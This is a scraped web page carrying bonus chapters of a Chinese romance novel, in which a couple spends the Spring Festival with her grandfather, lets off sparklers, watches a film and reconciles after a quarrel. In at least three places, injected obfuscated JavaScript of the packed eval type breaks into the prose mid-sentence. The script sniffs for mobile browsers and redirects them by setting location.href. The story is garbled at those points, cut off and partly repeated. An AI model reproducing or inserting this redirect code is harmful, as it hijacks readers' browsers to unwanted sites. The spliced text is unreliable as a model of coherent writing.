“好。”魏川应了声,举着筷子看了眼桌面,满满当当一桌子。 红煨黄鱼、三鲜汤、酱油肉蒸盘、白灼血蛤、八宝饭…… 魏川伸手夹了块鱼饼,不住地点头:“好吃。” 方姐笑道:“好吃你就多吃点。” 孟棠给他盛了碗汤:“别噎着。” 魏川举起酒杯敬孟遇春,半口酒下肚,口腔泛起黄酒特有的醇香绵柔,没有刺激感,砸吧两口,只能感受到淡淡的米香和发酵的香气。 还不错,魏川喝光了这杯,又给自己和老爷子添满。 电视上,春晚正式开始,这里也看不见电视,只能听个响。 魏川给孟棠剥了虾,随后拿了湿纸巾擦干净手。 动作自然而熟练,孟遇春瞥了两眼,说:“你开车来的?” 魏川点了点头:“本来想让司机送的,但人家也得过年,我就自己开车来了,还好赶上了晚饭。” “你爸妈没说什么?”孟遇春看着他。 魏川点了点头:“嫌我拿的节礼少了,我赶着过来,一个人拿不了那么多,随意带了些,方姐放厨房了。” 孟遇春:“……” 孟棠失笑:“上次带的好多东西还没用完,吃的也是。” 魏川对方姐说:“别省,赶紧吃,我妈现在准备东西都两份,看见合适的都会让我带过来。” 今天又装了一车,要不是他**,估计把他的后座也得装满。 “真没省。”方姐说,“总不能天天都吃补品。” 孟棠吃得差不多了,放下筷子,转头看着魏川吃饭。 他吃饭很香,连带着旁人也多了几分胃口。 方姐指了指门口:“我去给小魏的房间收拾一下。” 孟棠点了点头。 魏川进来的时候,将包放在一旁的凳子上,方姐顺道也拿回了他常住的房间。 孟遇春说:“你俩先吃,我去院里坐坐。” 孟棠皱了皱眉:“院里很冷。” “没事。”孟遇春摆了摆手,“摆了炉子,我去煮杯热茶。” 孟棠只能让老爷子出了门。 餐厅没人了,魏川笑了声,拽住孟棠的手腕让她坐下:“陪我聊聊天。” “你不是还在吃饭嘛,怎么聊天?” “那你就坐在这里陪我。” “好,陪你。” 魏川将饭菜扫得七七八八,终于满足地叹了声气。 最后用孟棠的杯子倒了杯果酒过了嘴。 “这个杨梅酒蛮好喝的。”魏川又倒了一杯,“自家酿的?” “不是。”孟棠摇了摇头,“是方姐去很远的年货集市买的,所以没有好看的包装和logo。” “怪不得,我还以为方姐做的。” 见魏川还要喝,孟棠赶紧按住他:“别喝了,黄酒你都喝不少了,容易醉。” 魏川一脸无辜:“我没醉啊,好得很。” “吃完了吗?吃完我就收拾桌子了。”孟棠推了下他抱过来的手臂,“别动手动脚,小心被看见。” “我陪你一起收拾吧。”魏川将空了的碗碟摞在一起,“把纸巾拿过来,我擦一下桌子。” 孟棠刚把湿纸巾拿过去,方姐进了餐厅。 “都放着,我来收拾,你们出去玩吧,我都听见有人放烟花了。” 魏川哪里好意思留方姐一个人收拾,奈何方姐不跟他玩虚的那一套,直接将他和孟棠“撵”出了门。 孟遇春瞧见他俩,招了招 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16157350|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手:“过来喝点茶。” 孟棠拉着魏川坐过去,孟遇春给他俩一人倒了一杯。 魏川看到红薯笑了声:“您没吃饱啊?” 孟遇春:“给你俩烤的,外面吵吵闹闹的,今晚大概率也睡不好,省得你俩夜里饿着。” 外面一群孩子的吵闹声和鞭炮声飞跃过院墙,魏川看了眼孟棠,说:“咱也出去走走?” 孟棠剥了个烤橘子,有点不乐意:“我们出去干什么?外面很多小孩。” “咱也去买点烟花放一放。”魏川说走就走,拉着孟棠起身出了院门。 还没买呢,一群小孩围了上来,什么也不说,往孟棠手里塞仙女棒。 “又是你。”孟棠笑了声,“去年也是你给了我这个。” 小孩哼了声:“拿着玩吧。” 说完,人小鬼大地跑了。 孟棠分了一些给魏川,魏川没接,愣了两秒,问:“小屁孩是谁啊?” “隔壁的。”孟棠说,“这一片的小霸王。” “小霸王好像很喜欢你哦。” 孟棠听着他这不得劲的语气想笑,为什么谈了恋爱,心眼能这么小? 她使唤了声:“去找方姐要打火机。” 魏川转头回了院子,没一会儿出来,还顺带了两个橘子。 他剥了给孟棠随手喂了几瓣,直至孟棠摇头说不吃,才将剩下的扔自己嘴里了。 “拿好了,我给你点。”魏川一边拿出手机一边按响打火机。 引信点燃后几秒,孟棠那张清丽脱俗的脸被烟火的灯光映衬得如白皙的玉。 “往后站一点,给你拍照。” 孟棠听话地往后站了站,魏川拿出手机,指尖聚焦上屏幕,按下了快门。 “你也换个姿势啊,头歪一歪,笑一笑。” 孟棠还真没什么拍照的经验,只能听从他的话。 “转个身体回眸。”魏川说,“你相信我,我每次跟家里人出去游玩,我妈和我姐,没少让我拍照。” 尤其是魏思沅,毕竟在娱乐圈混,拍照的姿势一堆又一堆。 生怕魏川拍不好,每次都把动作表情一次性讲解到位,时间久了,魏川也就记住了。 仙女棒一根很快燃尽,魏川却还没有拍尽兴,又给孟棠点了一根,说: “把仙女棒举起来,你往上看,嘴巴微微张一下。” 第二根拍完,魏川说:“这次给你同时点两根吧,你拿好,看着我的手机镜头。” 点燃后,魏川后退两步,整个人蹲了下去,让孟棠微微倾身看着她笑。 孟棠一一照做,自己也不知道明明是出来玩烟花的,最后怎么拍起了照片。 “还剩最后一根。”魏川示意孟棠举起来,“咱俩来个自拍,我点了啊。” “我来点吧,你拿手机不方便。”孟棠朝他伸手,“打火机。” 魏川将打火机给她:“小心点啊。” 孟棠将最后一根仙女棒点燃,还没炸开火花,魏川喊了声:“乖宝过来一点。” 孟棠凑过去,魏川和她脸贴着脸,做了个wink的表情,之后又趁孟棠没注意的时候,转头在她脸上吧唧亲了一口,镜头里拍下了孟棠微讶的表情。 第196章 番外12:川棠99 仙女棒灭了,孟棠和魏川的脸淹没于黑暗。 魏川拉着孟棠在大门口的台阶上坐下,将她搂进怀里看照片。 “待会儿发你一份。” “好。”孟棠应了声,拿过他的手机一张张翻看,发现魏川拍的特别好。 没什么滤镜,只有暗沉的夜幕包裹着层层花火。 孟棠将手机给魏川,小声说:“发给我吧。” “这样吧,弄个共享相册。”魏川示意孟棠打开手机,“这样就方便多了。” “不会。”孟棠将手机递过去,“你弄一下。” 魏川说:“以前田聿谈恋爱弄过,上传图片还可以评论什么的,假如咱俩不在一起,你可以拍一张路上的照片传到相册里,我就能看见你干什么,在哪儿了。” 听起来还不错,孟棠有点兴趣,说:“你弄一下,咱们试一下。” “好,我研究一下。” 魏川摆动着两个手机,找到共享相册的按键后,扭过脸问孟棠:“相册取什么名字?” “嗯……”孟棠抿着唇想了又想,“叫‘与你有关’怎么样?” “好听。”魏川当即就把四个字输入了进去,然后将共享相册推给了孟棠。 孟棠的手机接受了之后,魏川将今天拍的照片全都传了上去。 每一张都配了文案—— “漂亮的宝宝。” “笑一个。” “除夕夜,0921。” “女朋友。” “……” 孟棠小声嗡嗡:“你好肉麻。” “谁肉麻?”魏川穿过她后颈,手掌贴着她另一侧的脸,指尖并拢将她的下巴抬起来。 四目相对,两人的眼里盛满星星点点,孟棠笑道:“你呗。” 魏川哼了声,拿嘴巴直接堵了回去。 院内院外一片安静,门前无灯,只有头顶上两只大灯笼虚虚漏着一片红光。 魏川长驱直入,勾缠着那点橘子的甜香。 孟棠仰躺在他的臂弯里,只能被迫仰头承受这个缠绵悱恻的深吻。 过了一两分钟,孟棠有点受不了,抬手按住他胸膛,试图将魏川推开。 魏川抓住她的手腕,按在了腿上。 他第一次无视孟棠的挣扎,将她锁在怀中亲了个彻底。 松开时,孟棠的嘴巴都微微嘟了起来,铺着一层暧昧的水光。 孟棠挣了下手:“放开我。” 魏川松了她的手,却将人搂得更紧,在她耳边说着肉麻话:“干嘛?亲一下都不行了?你知不知道,从见到你的第一眼,我就想这么干了。” “你也不怕被人看见。”孟棠滚烫着一张脸,“我以后还要不要在雁清混了。” “我又不是别人。”魏川理直气壮,“再说了,非礼勿视不知道吗?别人撞见,不是应该立刻回避吗?打扰人家亲热算怎么回事?我又没在他家门口亲嘴。” 孟棠:“……” 无言以对。 见着哑巴的孟棠,魏川低头在她唇上啄了一口,还得意地朝她挑了下眉。 孟棠捏了下魏川的脸:“进去吗?” 魏川拉着她起身,说:“去看看老爷子睡没睡呢,我还想着把那两个烤红薯给解决了。” “应该还没睡,毕竟过节,都有点闹腾,每年都会睡得迟一些。”孟棠说。 魏川推开侧门,先让孟棠进了屋,然后才反锁。 进了中院,老头确实还没睡,悠哉游哉哼着小曲呢,方姐坐在一旁将烤红薯夹了出来。 孟棠和魏川走过去,在另两个铺了垫子的石凳上坐下。 方姐见到他俩,把红薯递和两个红包一起递过去:“压岁钱,不多,是我的一片心意。” 魏川一愣,下意识看向孟棠。 孟棠点了点头:“收着吧。” 魏川十分惊喜:“谢谢方姐。” 方姐语气温和:“吃吧,我得去休息了。” 魏川应了声,刚转过身,有一个红包戳到了自己眼前。 孟遇春往前推了推:“发什么傻,拿着啊。” 魏川接过捏了把,朝老爷子笑了笑:“霍!还挺厚的。” 孟遇春将另一个红包给了孟棠:“……我也得睡觉去了,你俩也早点休息吧。” 魏川追着问了一句:“你们不吃红薯啊?” 方姐笑道:“都快睡觉了,吃了不舒服。” 魏川拨开烤红薯的皮,拿了方姐准备的勺子递给了孟棠:“咱俩吃,这才几点啊。” 孟棠接过,和他挨着一起,在除夕的深夜寒冬里吃了满口香甜。 明明再普通不过的食物,却让魏川和孟棠由内而外散场出一种宁静的幸福感。 吃完红薯,两人又在院中闲聊了许久。 直至孟棠犯困,魏川才揉了揉她的头发:“闭上眼睛。” 孟棠失笑:“直接在这里睡吗?” “想什么呢?”魏川敲了下她的头,“赶紧闭上眼睛。” 孟棠闭上眼睛,五秒后,魏川在她耳边笑了声:“睁开眼睛。” 孟棠睁开后,一条金黄的吊坠在眼前晃个不停。 “这是什么?” “古法手工金葫芦项链,我妈买了一堆黄金饰品去送人,我挑了一条送你。” “黄金的?多少钱?”孟棠忍了忍,还是没忍住问了价格。 魏川跟她直来直往:“具体不知道,三四万应该有,克数不重,你戴着挺好的,精致一些。” 孟棠看着他:“你每次送我贵重的礼物都会挑一个我不能拒绝的日子。” 魏川揽过她亲了口:“我妈都承认你是她未来儿媳妇了,不过一条项链,你可别来那一套啊,过来,给你戴上。” 孟棠将头发撩起来,让他把项链戴了上去。 察觉到她的困意,魏川将三个红包递给孟棠:“拿着去睡觉吧。” 孟棠一愣:“怎么是三个?” 魏川笑道:“多出来那个是我给你准备的压岁钱红包。” 孟棠张了张嘴:“我——” 魏川猛地倾身过去堵住了她的唇,过了几秒才松开,直视她的眼睛:“拿着吧。” 孟棠受了蛊惑,点了点头。 “现在可以去睡觉了吧?” “不等零点吗?”孟棠打了个哈欠,“也能第一时间给你说声新年快乐。” “这有什么好说的,你在我身边的每一分每一秒我都很快乐。”魏川托起她的手臂,“赶紧洗漱去,眼睛都快睁不开了。” 孟棠总能被魏川脱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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孟棠输入:【来了,你们怎么还不睡?】 石岚:【拜托,平时在学校都不会在十二点之前睡,今天除夕肯定通宵啊,我刚从麻将桌上下来。】 杨可:【我也是,挺有意思的,输了我两百块钱。】 魏川:【来了,你们真是闲得慌,我发个朋友圈,看看得了,还截图发群里,嫉妒我幸福生活啊?】 许鹤清:【是羡慕你幸福生活吧?】 魏川:【哼,羡慕可以,别嫉妒啊,给你们发个红包。】 孟棠挺喜欢点红包的,等魏川发出来后,她抢了199,差点没从床上跳起来。 这也太多了吧?可红包不是上限200吗?其他人不可能分一块钱吧? 她又点进红包看了下,好家伙,是设置好的,每人都是199,发了将近1400块钱。 梁衡:【祝我川哥和棠姐99。】 李卓:【川棠99。】 之后一水都是“川棠99”,魏川达到了目的,发了个得意的表情包。 孟棠:“……” 钱真多啊。 不过他开心,随便他了。 群里的热闹一直延续到十二点,孟棠看着看着,早就睡着了,连魏川给她私发的“新年快乐”都是大年初一的早上看到的。 今天不适合赖床,方姐肯定已经做好了汤圆和早茶。 她刚要掀开被子起身,床帘被人拉开。 低沉的轻笑声飘进她耳朵里:“起床了。” 第197章 番外13:新年快乐 孟棠笑了笑,朝魏川伸手:“新年快乐。” 魏川俯下身将她搂起来,抱在怀中拍了拍:“新年快乐,起来吃早餐。” “我本来就要起了。”孟棠在他颈窝里蹭了下,“我听到外面方姐和爷爷在说话。” 魏川笑道:“他俩在互道新年早安呢,衣服放哪儿了,我去给你拿。” “柜子里挂着呢。” 魏川松开她,打开了她的衣柜。 一排老裁缝做的中式服,和她平时在学校里穿的不太一样。 孟棠指了指:“红色白毛领边那一件,放假回来刚做的。” 魏川还没见孟棠穿过红色,将衣服递给了她:“就在里面换吧,我把帘子放一下。” 孟棠下意识咬了下唇,他不出去吗? 魏川见她没动,催促道:“穿啊,我什么没看过?都把你帘子放下来了。” 孟棠拉了下帘子:“你别进来啊。” “不进。”魏川无奈道,“我还能大年初一的早上跟你在床上厮混吗?” “你闭嘴吧。”孟棠不想大过年的怼他,默默脱下睡衣,换了衣服。 换好后,孟棠撩开帘子打算下床。 魏川眼睛一愣,说:“你站起来。” 孟棠从床上站起来,魏川搂住她的腰,说:“穿红色:真好看。” 关键是一点都不觉得艳丽,只有清新脱俗的气质,也是奇了。 孟棠低头摸了下他的短发:“洗漱没有?” “我早洗了。”魏川松开她,让她穿鞋,“我先出去了,你快点过来吃饭。” “好。” 孟棠收拾整齐后去刷了牙洗了脸,进了餐厅,圆桌上摆了满满当当的早餐。 “方姐,新年好,爷爷,新年好。” 孟遇春“嗯”了声:“过来坐吧。” 孟棠舀了一颗汤圆,慢慢吃了起来,四个人围着餐桌,吃了一顿温馨平和的早饭。 今天很多忌讳,扫地倒垃圾什么的都不行。 院里掉着昨晚吃的果皮和红薯皮,也只能任由它们静静躺着。 今年贺岁档上映了不少影片,魏川订了下午的电影票,上午时间短,在家闲聊两句就过去了。 附近有民俗活动,每年都有,但其实没什么看头,孟遇春对魏川招了招手:“会下棋吗?” “五子棋吗?”魏川走过去坐下。 方姐一听笑傻了,老爷子怎么可能跟他下五子棋。 孟棠也跟着笑了声,孟遇春瞪着眼:“围棋。” 魏川为难地挠了把头发:“我不会啊。” 孟棠在老爷子对面坐下,说:“我来吧。” 魏川在孟棠旁边坐下,几乎将人半抱在怀中,贴着她耳朵问:“你会啊?” 要不是过年,孟遇春是真想来一句“废话”,他将白子给了孟棠,说:“我会,你觉得她不会吗?” 魏川怀疑老爷子故意的,平时不都下象棋吗?今天大年初一,整上围棋了。 祖孙俩一来一往地过招,招式平和,跟闹着玩似的。 魏川也不是完全不懂,守在一旁不吱声,静静陪着他俩消遣时光。 无聊了,他就拿出手机,对着孟棠拍了好多张照片。 拍完了,挑选着最好看的几张上传到共享相册里。 魏川有点懊恼以前怎么没有想到共享相册,分享一下恋爱日常,简直太好用了。 方姐给他们切了水果,魏川接过后,一盘搁老爷子边上,一盘捧自己手里。 他歪着头给孟棠送了块橘子,孟棠看了眼孟遇春,摇了摇头。 魏川转头“啧”了声:“老头,先吃点东西呗。” 孟遇春简直无语,停了手边的动作,捧起一盏清茶抿了口。 魏川朝孟棠露齿一笑:“现在可以吃了吧?” 孟棠吃掉橘子,捏了一块蜜饯送进口中,说:“水果你吃吧,有点凉。” “那你吃点坚果和蜜饯。”魏川拍了拍手,“我去给家里打个电话,拜个年。” “等一下。”孟棠拉住他,“就在这儿打吧,我也给叔叔阿姨拜个年。” “好。” 魏川拨了楚茵的视频。 视频刚接通,手机里传来搓麻将的声音,魏川笑了声:“你们上午就开始了?” 楚茵哼了声:“目前为止,就我输得多。” “那是谁赢了?”魏川给孟棠的嘴里又塞了一颗蜜饯,“不会是魏思沅吧?” 楚茵停下动作,说:“还真被你猜对了。” 魏思沅哈哈笑了声:“我今天开挂了。” “你们在干什么呢?”楚茵问。 魏川将摄像头转了方向,说:“我们可是在玩高雅艺术,不像你们,庸俗。” 孟棠抵了抵他,怎么说话呢。 楚茵看到他们在玩围棋,笑道:“是挺高雅,不过你会吗?” 魏川:“……” 孟棠被楚茵逗笑,将魏川的手机打了过去,打了声招呼,并说了“新年快乐”。 楚茵暂停打牌,将手机转了一圈,让魏思沅和魏思嘉跟孟棠打了招呼。 魏思沅从手机里窥探到院子一角,赞叹了声:“哇,大户人家啊,刚才闪过去的是柿子树吗?柿子这个时候结果吗?” “那是海棠树,上面系了小灯笼。”魏川无语道,“谁家柿子一月份结果?什么眼神啊。” 魏思沅尴尬地笑了声:“我虽然吃过柿子,不代表我非得知道它们什么时候结果吧?” 魏川吐槽:“你就记住一句话,秋天是丰收的季节。” 孟棠被他逗笑,死死咬着下唇,生怕自己笑出声被魏思沅听到。 魏思沅懒得再跟魏川废话,直接挂断了视频。 孟遇春将一切听在耳里,下意识点了点头,家庭氛围挺好的。 魏川见他们吃得差不多了,将一旁的东西撤走,继续看祖孙俩下棋。 孟遇春执黑子落入右上角的星位,孟棠指尖夹着白子,落地黑子右下角的小目旁。 老爷子轻笑一声,守着角,留出路。孟棠不甘示弱,白棋拆边。 孟遇春毕竟年长孟棠几十岁,能守能攻,没一会儿,孟棠就败下阵来。 “吃饭啦。”方姐来的正是时候。 孟遇春推了棋盘:“吃饭。” 进了餐厅,魏川说:“下午我带孟棠出去看电影,您二位有什么娱乐项目啊?” 孟遇春:“我去巷口找人下棋。” 方姐:“我去巷口找人唠嗑。” 孟棠:“……” 魏川补了句:“还好电影院不在巷口。” 孟棠:“……” 一个两个都是活宝。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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魏川转头朝孟棠笑了声:“冲着你来的。” 孟棠朝女孩说了句:“谢谢。” “能拍张照片吗?” 魏川说:“出去拍吧,电梯里太挤了。” 女孩忙道了声谢。 出了电梯,他们就在电影宣传海报前合了影。 女孩走后,魏川去买了情侣套餐,想起孟棠早上吃的蜜饯,又要了包酸梅和软糖。 这两个吃起来没声音,就当解馋了。 等了一会儿,检票进场,魏川提醒孟棠:“要不要上个卫生间?” 孟棠摇了摇头:“你买的什么电影?” 魏川“扑哧”一声笑了出来:“你都检完票了,咱俩还在电影海报前拍了照,还不知道要看的是什么电影?” “呃……”孟棠有些心虚,“没注意,到底什么类型的片子?” “喜剧片。”魏川手里拿着一堆东西,配合着孟棠的脚步,“适合过年看,小心脚下。” 他们在五号厅,里面很暗,魏川下意识拉住魏川的胳膊,跟着他一道进了影厅。 第198章 番外14:我哄哄去 过年期间,每个影厅都人员爆满。 魏川买了第七排的位置,他俩在中间,开场的时候,左右肯定都夹着人。 魏川将中间的扶手推上去,将爆米花给了孟棠:“吃吧,我尝了一个,还不错。” 孟棠趁着没开场,咔滋咔滋吃了起来。 她不喜欢喝可乐,魏川给她买的奶茶。 他们进来很早,人才上了一半,孟棠吃了一会儿就将爆米花推给了魏川。 魏川知道她不吃了,一个人在开场之前,默默吃完了。 孟棠递了一张湿纸巾给他:“擦一下手。” 魏川接过,下巴抬了下:“给我喝一口。” 孟棠将奶茶递给他唇边,魏川躲开:“不喝这个,给我可乐。” 孟棠这才发现自己下意识就将奶茶递了过去,这未免也太顺手了。 她重新拿过可乐堵到他唇边,魏川垂眸咬住吸管,喝了半杯,终于将爆米花的甜腻压下了一点。 魏川狠狠松了口气:“下次再看电影,打死不买爆米花了,你每次都吃不完,就吃上面一层。” “没办法啊,某些人非要买,说这是影院氛围。”孟棠吐槽了句。 魏川笑了声:“酸梅吃吗?” 孟棠点了点头,拆开一颗后,影厅里陆陆续续开始上人。 孟棠和魏川左右两侧都有人坐了下来,魏川的左边是女生,孟棠的右边是男生。 魏川对孟棠招了招手:“换个位置。” 孟棠跟他换了,两人中间的扶手被抬了上去,自然而然往中间靠。 魏川长胳膊从孟棠颈后穿过,握住了她的手腕,轻轻地甩来甩去,纯粹是无聊的表现。 大屏幕终于亮起来,孟棠抓住魏川的手指,示意他别动了。 开场前的广告看了五分钟,终于进入了正片。 正片播放十分钟,还有人进来,不过影响也不大。 孟棠不管做什么事都能轻易投入,看个喜剧片也是,碰到好笑的扯一扯嘴角,不好笑的就面无表情。 魏川觉得十分可爱。 手指总要欠一下,时不时戳一下孟棠的脸颊。 电影行进三分之一,前排大哥的手机忽然响了起来。 响也就罢了,你倒是客气点出去接,直接在座位上接了起来,声音还挺大。 周围的人全都皱着眉头看向他,人家无知无觉。 一两分钟谁都能忍,打了五分钟,旁边人忍不了了:“大哥,您能不能出去打,这也太妨碍人了。” 那人脸一横,凶了吧唧地说:“关你屁事。” “哎,你什么人啊,这里是电影院,本来就不该打扰别人。” “怎么这么多废话?” “请你出去接电话。” “我就不,你能把我怎么着?” “……” 两个大男人你一句我一句吵了起来,后排的人已经完全被影响。 “操。”魏川翻了个白眼,“这年头,什么**都有。” 孟棠转过头,小声道:“别说脏话。” 魏川对她笑了笑:“我倒是能忍住,遇见这种低素质的忍不了一点。” 孟棠耸了下肩:“那怎么办?” 魏川依旧搂着她的脖颈,都懒得起,对着前面的座椅就是一脚:“别他妈吵了,有本事打啊。” 孟棠一惊:“你干嘛呢?” 不占理的男人,怒火瞬间转移到魏川身上:“你又算老几?老子买了票的。” 魏川彻底冷脸了,他握住孟棠的肩膀拍了拍,随后起身站了起来。 190的身高有一种天然的俯视感,更别提他还在后一排,本就高了些。 魏川拍了拍被自己踹了的椅背,双手搭上去,姿态十分轻松随意。 可眼神里迸发出的冷意让前排看他的人下意识躲避了视线。 魏川头一偏:“要么坐下来安静地看电影,要么滚出去接电话,你自己选一个。” 大过年的让人不爽,魏川其实巴不得他能再跳两下,这样他就有理由揍他丫的。 但一想到孟棠还在身后,他心里又改了主意。 毕竟是男人,被个小年轻教训了,面子上挂不住,他抬手指着魏川:“有种你——啊——” 魏川一把握住他的手,户口卡住男人的不礼貌的食指,狠狠往后压去。 孟棠惊得站了起来:“魏川。” 魏川轻嗤一声,松开了那人。 面子上再挂不住,男人拿着手机跑了。 “谢谢。”前头的人回头道了谢。 “都看电影吧。”魏川拉着孟棠重新坐下,“别看我了。” 周围引起一片浅笑。 孟棠松了口气,在他手臂上掐了一把。 一点都不疼,魏川拍了拍她的手:“看电影吧。” 孟棠哼了声,转头继续看电影。 其实经过刚才那一遭,看电影的情绪已经被打碎了。 孟棠又不想离开打扰别人,只能强迫自己看下去。 慢慢地,孟棠又看了进去。 看到大结局,魏川反正不知道说了什么,他光顾着看孟棠去了。 灯光打开的那一刻,孟棠刚要闭眼,眼前忽然一暗,魏川抬手帮她挡住了刺眼的光线。 后面起来的小姐姐羡慕地说了声:“这也太体贴了,还长那么帅。” 魏川勾了勾唇,靠近孟棠的耳朵边问:“听到没有?” “听到了。”孟棠捶了下他的肚子,“走了。” 魏川将孟棠的外套拿起来:“伸手。” 孟棠就着他的手穿上了衣服,从魏川的手中接过了包。 等前面大片人马离开了,两人才手牵手出了影厅。 魏川看了眼时间,已经下午四点了,问孟棠:“要不要再逛逛?” “还逛啊?”孟棠晃了下他的手,“你明天就得回z市了,还不回去收拾行李。” 魏川无奈道:“大过年的让我收拾行李,我明天上午收拾不行吗?” 孟棠笑了声:“主要外面人太多了,也没什么好逛的,回去吧。” “行,听你的。” 两人出了电影院,原本的满脸笑意忽然一僵,老头那辆破电动车边,围着三个男人,为首的就是被魏川在电影院赶走的那一个。 魏川将孟棠挡在身后,姿态依旧很高:“什么意思啊?” “哼,本来想放你一马,你过来给老子道个歉,我就放过你。” 魏川还没说话,孟棠从口袋里拿出刻刀,拔了保护套,眸色发冷:“想试试吗?” 三个大男人一愣,下意识往后退了一步。 魏川也被她搞愣了一瞬,直至看到前方巡逻的特警 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“方姐,我去看看孟棠。”魏川说着就要往外走。 “先别去。”方姐招了下手,“去巷口叫老爷子吃饭。” 魏川只好出了院门,在巷口找到了孟遇春,一急,又喊:“老头,吃饭了。” 中气十足,跟孟遇春一起玩的老头转过头:“谁家小孩?” 孟遇春笑了声:“我家的,你们玩吧,我回家吃饭了。” “你家不就一个孟棠,这怎么没见过?” “孟棠的男朋友。” “呦,长得真不错,这也太高了。” 老爷子哼笑一声,背着手离开了巷口。 两人到家的时候,孟棠正好从房间里出来,只需一眼,孟遇春就“啧”了声,转头问魏川:“你惹她了?” 魏川一愣:“没有啊,我哪敢惹她。” 孟遇春沉吟:“那她气什么?” “气了?”魏川看向孟棠,“您怎么知道?” 孟遇春:“表情不对呗。” 魏川哪里能怀疑孟遇春的话,人家可是亲祖孙。 他想了想,说:“您先去坐,我哄哄去。” 第199章 番外15:想打想骂想要我哄,都行 方姐正好还有最后一道菜没端上桌,魏川跟着孟棠去了水缸旁。 孟棠洗了手里的蓝莓,魏川一把夺过:“我来洗,水很冷。” 孟棠抢不过他,径自后退了两步。 魏川洗完了蓝莓,拿了一颗抵至孟棠唇边。 孟棠垂下眼睫,吃掉了。 “跟我过来。”魏川拉着孟棠的手,将人带进了屋里。 孟棠的小客厅就在进门的左手边,魏川将她拉到木质沙发上坐下,拉住了她两只手,指腹在手背上蹭了下,说: “爷爷说你不高兴,在不高兴什么?” 孟棠口是心非:“没有不高兴。” “还撒谎。”魏川捏了下她的手,“有事就说,什么不能给你解决了?想打想骂想要我哄,都行。” “谁想要打你骂你。”孟棠闷闷地说了句。 魏川轻笑一声,起身在她身边坐下,调侃道:“那就是要我哄了?” “谁要你哄,我又没生气。” “我乐意哄行了吧?”魏川搂住她晃了下,“是不是电影院的事情让你不高兴了?” 孟棠哼了声。 本来以为会挨夸,没想到会被训。 觉得丢面,索性不讲话了,他还没发现,就越想越闷。 自从谈了恋爱,孟棠都发觉自己有点矫情了,如果是以前,这点情绪根本影响不了她一点。 回来后她特地去了书房,愣是一个字也写不出来。 孟棠看向魏川,微微嘟起了嘴巴:“你凶我。” 魏川被逗笑,用掌心揉了下她的脸颊:“哪儿凶你了,当时担心呢,语气有些不太好,给你道个歉好不好?” “我只是习惯性带刻刀。”孟棠说,“当工具用的,你要是不在,我绝对不会和任何人发生矛盾。” “这个我相信。”魏川握了握她的肩膀,“我错了,不该凶你,但你这个刻刀最好别带在身上。” 孟棠点了点头:“知道了。” 魏川在她脸上亲了下:“吃饭去。” 方姐将最后一道菜端上桌,孟棠和魏川一前一后进了餐厅。 孟遇春抬眸看了眼孟棠,心想魏川有两下子。 他对魏川说:“你明天走吗?” 魏川应道:“初四训练,初三晚上就得回学校,所以明天必须得走。” 孟遇春看了眼方姐,方姐立刻接话:“我给你准备了一些东西带回去,都是一些适用的,还有一些是我做的,不要嫌弃。” “哪里能嫌弃。”魏川笑道,“您手艺很好,我家里阿姨是比不上的。” 方姐:“小棠小时候挑食,我一点一点学的,这祖孙俩审美又高,连带着我做饭都得要几分精致模样,吃水果还得摆个盘,你说我能没几分手艺嘛。” “您又谦虚。”魏川笑了笑。 孟棠生下来就是方姐带的,那时候孟家还没被孟怀璋连累呢。 家里的吃穿用度赶不上奢靡,但肯定也极其讲究。 方姐能在孟家做事,必然是有本事的,才不像她刚才说的那样。 魏川心里有数,抵了抵孟棠:“你小时候还挑食?” 孟棠装傻:“不记得了。” “挑呢。”孟遇春揭她短,“这边靠海,吃海鲜多,她小时候一概不碰的,觉得有点味道,有段时间光啃白馒头了。” 魏川失笑:“我看现在吃了啊,口味变了?” 孟遇春:“这也没什么,人的口味是会变的。” 魏川:“肯定还是方姐的厨艺又精进了,孟棠才会改变主意。” 一句话夸得方姐合不拢嘴,刚吃过饭,就把准备好的东西往魏川的车上拎。 魏川连忙阻止:“您别忙,我明天上午再弄,歇会儿吧。” 毕竟还在大年初一,方姐应了声,收拾了碗筷。 魏川和孟棠各自洗漱后,回了房间。 孟棠看了眼时间,九点都不到。 今晚老爷子睡觉倒是早,可能昨晚睡得迟了,白天又没补觉。 孟棠无聊,摆了宣纸,毛笔一甩,画了幅喜鹊登梅。 窗户被敲响,孟棠放下毛笔,走了过去,故意道:“谁啊?” “我。”外面的人理直气壮。 孟棠笑道:“大半夜的敲女生的窗户,怕不是流氓吧?” 魏川“嘿”了声:“赶紧给我开开。” 孟棠将窗户打开,笑意盈盈地问:“怎么不敲门?” 魏川扒着窗户一纵,直接跳了进去,孟棠下意识后退:“你怎么这样进来了?” 魏川笑了声:“好玩啊。” 孟棠:“……” 魏川转身关了窗户,问孟棠:“干嘛呢?我在床上翻来覆去睡不着,就来夜闯闺房了。” “……我也没睡呢。”孟棠转身在椅子上坐下,“随便画了点东西打发时间。” “喜鹊和梅花,画得真好。”魏川一手撑在椅背上,一手撑在书桌上,“东南角有一棵腊梅,你画的是那颗吗?” 孟棠点了点头:“喜鹊登梅,我不知道画过多少遍了,画的始终都是东南角那一棵。” 